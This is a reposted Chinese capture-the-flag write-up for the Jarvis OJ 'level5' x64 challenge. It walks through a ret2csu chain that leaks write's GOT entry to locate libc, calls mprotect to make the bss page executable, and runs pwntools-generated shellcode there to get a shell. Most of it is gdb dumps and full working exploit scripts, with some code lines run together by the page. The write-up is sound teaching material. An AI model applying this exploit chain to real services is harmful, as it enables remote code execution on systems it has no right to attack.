当前位置: 代码迷 >> 综合 >> [XMAN]level5 Jarvis OJ
  详细解决方案

[XMAN]level5 Jarvis OJ

热度:76   发布时间:2023-12-13 04:55:32.0

思路:bss段刚开始是不可执行的,从通用的想要执行bss必须执行mprotect函数来更改bss段的权限(改为7即可读可写可执行)。但是想要获取到mprotect函数必须获取到libc版本。还是少不了上次的泄露libc函数,这里泄露的时候也直接用通用gedgat减少不必要的操作,减少错误。
泄露获取libc–>获取到mprotect函数来改写bss段的权限–>把shellcode写入到bss段–>执行bss段的内容。

这里需要调用mmap或者mprotect函数都是有三个参数,直接定位到对应位置。上次的行不通就用下面的一个通用gedit

gdb-peda$ disas 
Dump of assembler code for function __libc_csu_init:0x0000000000400650 <+0>: push   r150x0000000000400652 <+2>: mov    r15d,edi0x0000000000400655 <+5>: push   r140x0000000000400657 <+7>: mov    r14,rsi0x000000000040065a <+10>:    push   r130x000000000040065c <+12>:    mov    r13,rdx0x000000000040065f <+15>:    push   r120x0000000000400661 <+17>:    lea    r12,[rip+0x2001d8]        # 0x6008400x0000000000400668 <+24>:    push   rbp0x0000000000400669 <+25>:    lea    rbp,[rip+0x2001d8]        # 0x6008480x0000000000400670 <+32>:    push   rbx0x0000000000400671 <+33>:    sub    rbp,r120x0000000000400674 <+36>:    xor    ebx,ebx0x0000000000400676 <+38>:    sar    rbp,0x30x000000000040067a <+42>:    sub    rsp,0x80x000000000040067e <+46>:    call   0x400480 <_init>0x0000000000400683 <+51>:    test   rbp,rbp0x0000000000400686 <+54>:    je     0x4006a6 <__libc_csu_init+86>0x0000000000400688 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]0x0000000000400690 <+64>:    mov    rdx,r130x0000000000400693 <+67>:    mov    rsi,r140x0000000000400696 <+70>:    mov    edi,r15d0x0000000000400699 <+73>:    call   QWORD PTR [r12+rbx*8]0x000000000040069d <+77>:    add    rbx,0x10x00000000004006a1 <+81>:    cmp    rbx,rbp0x00000000004006a4 <+84>:    jne    0x400690 <__libc_csu_init+64>0x00000000004006a6 <+86>:    add    rsp,0x80x00000000004006aa <+90>:    pop    rbx0x00000000004006ab <+91>:    pop    rbp0x00000000004006ac <+92>:    pop    r120x00000000004006ae <+94>:    pop    r130x00000000004006b0 <+96>:    pop    r140x00000000004006b2 <+98>:    pop    r150x00000000004006b4 <+100>:   ret    
End of assembler dump.

这里显示了__libc_csu_init函数的内容。如果执行完0x00000000004006aa地址处后ret后面跟的是0x0000000000400690 会给rdi,rsi,rdx三个寄存器赋值。然后执行call而call的地址我们也能控制最终返回到main函数。

from pwn import *
context.log_level="debug"
p=process("./level3_x64")
elf=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")rop1=0x00000000004006aa
rop2=0x0000000000400690
bss_addr=0x0000000000600a88
main_addr=0x000000000040061A#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)

上面代码有一点需要注意:给r12的值是write_got(write_got是指向函数首地址的一个指针)也就是说这里call的是只想一个地址处的指针ptr[]表示取地址。

call本身call的是要执行函数的首地址

   0x40062e <main+20>:  call   0x4005e6 <vulnerable_function>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc0 --> 0x400650 (<__libc_csu_init>: push r15)
0008| 0x7fffffffddc8 --> 0x7ffff7801b97 (<__libc_start_main+231>: mov edi,eax)
0016| 0x7fffffffddd0 --> 0x1 
0024| 0x7fffffffddd8 --> 0x7fffffffdea8 --> 0x7fffffffe212 ("/home/liu/桌面/oj/level5_x64/level3_x64")
0032| 0x7fffffffdde0 --> 0x100008000 
0040| 0x7fffffffdde8 --> 0x40061a (<main>: push rbp)
0048| 0x7fffffffddf0 --> 0x0 
0056| 0x7fffffffddf8 --> 0x1e88863ca3cbee78 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, valueTemporary breakpoint 1, 0x000000000040061e in main ()
gdb-peda$ x /10i 0x4005e60x4005e6 <vulnerable_function>:  push   rbp0x4005e7 <vulnerable_function+1>:    mov    rbp,rsp0x4005ea <vulnerable_function+4>:    add    rsp,0xffffffffffffff800x4005ee <vulnerable_function+8>:    mov    edx,0x70x4005f3 <vulnerable_function+13>:   mov    esi,0x4006d4
from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)
raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(mprotect_addr)#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
#sleep(1)
raw_input()
##########set bss=shellcode
shellcode=asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss())
p.sendline(payload)p.interactive()

这里就犯了个刚才说的错

payload+=p64(1)+p64(mprotect_addr)#rbp,r12

这里的mprotect_addr是执行不了的.想让mprotect执行有一个好办法就是把mprotect放到一个已经知道地址的地方去。这里有现成的,bss段

from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)##########set bss=shellcode
shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(0)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.bss())#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss()+8)
p.recvuntil("Input:\n")
p.sendline(payload)p.interactive()

这里有一点关于mprotect的注意点:mprotect的第一个参数标识要写的内存页的首地址。这里是以页为单位访问。一页是4kb也就是0x1000字节所以mprotect的第一个参数必须是0x1000的倍数。第二个参数标识要设置的权限的地址的范围。这个多少都无所谓,不过需要把bss段包含进去。